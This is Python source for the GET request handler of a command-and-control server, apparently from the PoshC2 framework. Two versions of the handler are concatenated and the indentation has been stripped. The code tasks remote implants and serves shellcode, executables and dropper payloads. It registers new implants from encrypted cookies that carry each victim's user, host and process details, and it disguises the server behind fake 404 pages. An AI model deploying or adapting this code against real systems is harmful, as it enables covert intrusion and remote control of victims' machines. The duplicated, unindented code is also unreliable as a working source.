def do_GET(self):
try:
"""Respond to a GET request."""
response_content_len = None
response_code = 200
response_content_type = "text/html"
response_content = None
hosted_files = get_hosted_files()
webserver_log("GET request,\nPath: %s\nHeaders:\n%s\n" % (str(self.path), str(self.headers)))
self.cookieHeader = self.headers.get('Cookie')
self.ref = self.headers.get('Referer')
UriPath = str(self.path)
sharplist = []
for hosted_file in sharpurls:
hosted_file = hosted_file.replace(" ", "")
hosted_file = hosted_file.replace("\"", "")
sharplist.append("/" + hosted_file)
self.server_version = ServerHeader
self.sys_version = ""
if not self.cookieHeader:
self.cookieHeader = "NONE"
# implant gets a new task
new_task = newTask(self.path)
if new_task:
response_content = new_task
elif [ele for ele in sharplist if(ele in UriPath)]:
try:
webserver_log("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
res = urlopen(r)
sharpout = res.read()
response_content_len = len(sharpout)
if (len(sharpout) > 0):
response_content = sharpout
except HTTPError as e:
response_code = e.code
webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
webserver_log("[-] SharpSocks %s\r\n" % e)
except Exception as e:
webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
webserver_log("[-] SharpSocks %s\r\n" % e)
print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
# dynamically hosted files
elif [ele for ele in hosted_files if(ele.URI in self.path)]:
for hosted_file in hosted_files:
if hosted_file.URI == self.path or f"/{hosted_file.URI}" == self.path and hosted_file.Active == "Yes":
try:
response_content = open(hosted_file.FilePath, 'rb').read()
except FileNotFoundError as e:
print_bad(f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.URI} -> {e.filename}")
response_content_type = hosted_file.ContentType
if hosted_file.Base64 == "Yes":
response_content = base64.b64encode(response_content)
# do this for the python dropper only
if "_py" in hosted_file.URI:
response_content = "a" + "".join("{:02x}".format(c) for c in response_content)
response_content = bytes(response_content, "utf-8")
# register new implant
elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
implant_type = "PS"
if self.path == ("%s?p" % new_implant_url):
implant_type = "PS Proxy"
if self.path == ("%s?d" % new_implant_url):
implant_type = "PS Daisy"
if self.path == ("%s?m" % new_implant_url):
implant_type = "Python"
if self.path == ("%s?d?m" % new_implant_url):
implant_type = "Python Daisy"
if self.path == ("%s?p?m" % new_implant_url):
implant_type = "Python Proxy"
if self.path == ("%s?c" % new_implant_url):
implant_type = "C#"
if self.path == ("%s?d?c" % new_implant_url):
implant_type = "C# Daisy"
if self.path == ("%s?p?c" % new_implant_url):
implant_type = "C# Proxy"
if self.path == ("%s?j" % new_implant_url):
implant_type = "JXA"
if self.path == ("%s?e" % new_implant_url):
implant_type = "NativeLinux"
if self.path == ("%s?p?e" % new_implant_url):
implant_type = "NativeLinux Proxy"
if implant_type.startswith("C#"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
if "\\" in User:
User = User[User.index("\\") + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), int(URLID))
newImplant.save()
newImplant.display()
newImplant.autoruns()
response_content = encrypt(KEY, newImplant.SharpCore)
elif implant_type.startswith("Python"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
User, Domain, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower(), URLID)
newImplant.save()
newImplant.display()
response_content = encrypt(KEY, newImplant.PythonCore)
elif implant_type.startswith("JXA"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
User, Hostname, PID, ProcName, URLID = decCookie.split(";")
Domain = Hostname
URLID = URLID.replace("\x00", "")
URLID = URLID.replace("\x07", "")
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), "x64", PID, str(ProcName).lower(), URLID)
newImplant.save()
newImplant.display()
response_content = encrypt(KEY, newImplant.JXACore)
elif implant_type.startswith("NativeLinux"):
ProcName = "Linux Dropper"
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
User, Domain, Hostname, Arch, PID, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
newImplant.save()
newImplant.display()
response_content=encrypt(KEY, newImplant.NativeCore)
else:
try:
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
decCookie = str(decCookie)
Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
if "\\" in str(User):
User = User[str(User).index('\\') + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
newImplant.save()
newImplant.display()
newImplant.autoruns()
response_content = encrypt(KEY, newImplant.PSCore)
except Exception as e:
print("Decryption error: %s" % e)
traceback.print_exc()
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
else:
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
# send response
self.send_response(response_code)
self.send_header("Content-type", response_content_type)
if response_content_len is not None:
self.send_header("Connection", "close")
self.send_header("Content-Length", response_content_len)
self.end_headers()
if response_content is not None:
self.wfile.write(response_content)
except Exception as e:
webserver_log("Error handling GET request: " + str(e))
webserver_log(traceback.format_exc())
def do_GET(self):
try:
"""Respond to a GET request."""
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n",
str(self.path), str(self.headers))
new_implant_url = get_newimplanturl()
self.cookieHeader = self.headers.get('Cookie')
self.ref = self.headers.get('Referer')
QuickCommandURI = select_item("QuickCommand", "C2Server")
UriPath = str(self.path)
sharpurls = get_sharpurls().split(",")
sharplist = []
for i in sharpurls:
i = i.replace(" ", "")
i = i.replace("\"", "")
sharplist.append("/" + i)
self.server_version = ServerHeader
self.sys_version = ""
if not self.cookieHeader:
self.cookieHeader = "NONE"
# implant gets a new task
new_task = newTask(self.path)
if new_task:
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(new_task)
elif [ele for ele in sharplist if (ele in UriPath)]:
try:
open("%swebserver.log" % PoshProjectDirectory, "a").write(
"%s - [%s] Making GET connection to SharpSocks %s%s\r\n"
% (self.address_string(), self.log_date_time_string(),
SocksHost, UriPath))
r = Request("%s%s" % (SocksHost, UriPath),
headers={
'Accept-Encoding': 'gzip',
'Cookie': '%s' % self.cookieHeader,
'User-Agent': UserAgent
})
res = urlopen(r)
sharpout = res.read()
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
self.send_header("Content-Length", len(sharpout))
self.end_headers()
if (len(sharpout) > 0):
self.wfile.write(sharpout)
except HTTPError as e:
self.send_response(e.code)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
self.end_headers()
open("%swebserver.log" % PoshProjectDirectory, "a").write(
"[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
% (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory,
"a").write("[-] SharpSocks %s\r\n" % e)
except Exception as e:
open("%swebserver.log" % PoshProjectDirectory, "a").write(
"[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n"
% (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory,
"a").write("[-] SharpSocks %s\r\n" % e)
print(
Colours.RED +
"Error with SharpSocks or old implant connection - is SharpSocks running"
+ Colours.END)
print(Colours.RED + UriPath + Colours.END)
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
HTTPResponsePage = select_item("GET_404_Response",
"C2Server")
if HTTPResponsePage:
self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
else:
self.wfile.write(bytes(GET_404_Response, "utf-8"))
elif ("%s_bs" % QuickCommandURI) in self.path:
filename = "%spayload.bat" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%s_rp" % QuickCommandURI) in self.path:
filename = "%spayload.txt" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = base64.b64encode(f.read())
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%s_rg" % QuickCommandURI) in self.path:
filename = "%srg_sct.xml" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%ss/86/portal" % QuickCommandURI) in self.path:
filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = base64.b64encode(content)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%ss/64/portal" % QuickCommandURI) in self.path:
filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = base64.b64encode(content)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%sp/86/portal" % QuickCommandURI) in self.path:
filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = base64.b64encode(content)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%sp/64/portal" % QuickCommandURI) in self.path:
filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = base64.b64encode(content)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%s_cs" % QuickCommandURI) in self.path:
filename = "%scs_sct.xml" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%s_py" % QuickCommandURI) in self.path:
filename = "%saes.py" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = "a" + "".join("{:02x}".format(c)
for c in content)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(bytes(content, "utf-8"))
elif ("%s_ex86" % QuickCommandURI) in self.path:
filename = "%sPosh32.exe" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "application/x-msdownload")
self.end_headers()
self.wfile.write(content)
elif ("%s_ex64" % QuickCommandURI) in self.path:
filename = "%sPosh64.exe" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "application/x-msdownload")
self.end_headers()
self.wfile.write(content)
# register new implant
elif new_implant_url in self.path and self.cookieHeader.startswith(
"SessionID"):
implant_type = "PS"
if self.path == ("%s?p" % new_implant_url):
implant_type = "PS Proxy"
if self.path == ("%s?d" % new_implant_url):
implant_type = "PS Daisy"
if self.path == ("%s?m" % new_implant_url):
implant_type = "Python"
if self.path == ("%s?d?m" % new_implant_url):
implant_type = "Python Daisy"
if self.path == ("%s?p?m" % new_implant_url):
implant_type = "Python Proxy"
if self.path == ("%s?c" % new_implant_url):
implant_type = "C#"
if self.path == ("%s?d?c" % new_implant_url):
implant_type = "C# Daisy"
if self.path == ("%s?p?c" % new_implant_url):
implant_type = "C# Proxy"
if implant_type.startswith("C#"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0],
self.client_address[1])
Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
";")
Proxy = Proxy.replace("\x00", "")
if "\\" in User:
User = User[User.index("\\") + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain),
str(User), str(Hostname), Arch, PID,
Proxy)
newImplant.save()
newImplant.display()
newImplant.autoruns()
responseVal = encrypt(KEY, newImplant.SharpCore)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(responseVal)
elif implant_type.startswith("Python"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0],
self.client_address[1])
User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(
";")
Proxy = Proxy.replace("\x00", "")
newImplant = Implant(IPAddress, implant_type, str(Domain),
str(User), str(Hostname), Arch, PID,
Proxy)
newImplant.save()
newImplant.display()
responseVal = encrypt(KEY, newImplant.PythonCore)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(responseVal)
else:
try:
cookieVal = (self.cookieHeader).replace(
"SessionID=", "")
decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
decCookie = str(decCookie)
Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
";")
Proxy = Proxy.replace("\x00", "")
IPAddress = "%s:%s" % (self.client_address[0],
self.client_address[1])
if "\\" in str(User):
User = User[str(User).index('\\') + 1:]
newImplant = Implant(IPAddress, implant_type,
str(Domain), str(User),
str(Hostname), Arch, PID, Proxy)
newImplant.save()
newImplant.display()
newImplant.autoruns()
responseVal = encrypt(KEY, newImplant.PSCore)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(responseVal)
except Exception as e:
print("Decryption error: %s" % e)
traceback.print_exc()
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
HTTPResponsePage = select_item("GET_404_Response",
"C2Server")
if HTTPResponsePage:
self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
else:
self.wfile.write(bytes(GET_404_Response, "utf-8"))
else:
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
else:
self.wfile.write(bytes(GET_404_Response, "utf-8"))
except Exception as e:
if 'broken pipe' not in str(e).lower():
print_bad("Error handling GET request: " + e)
traceback.print_exc()
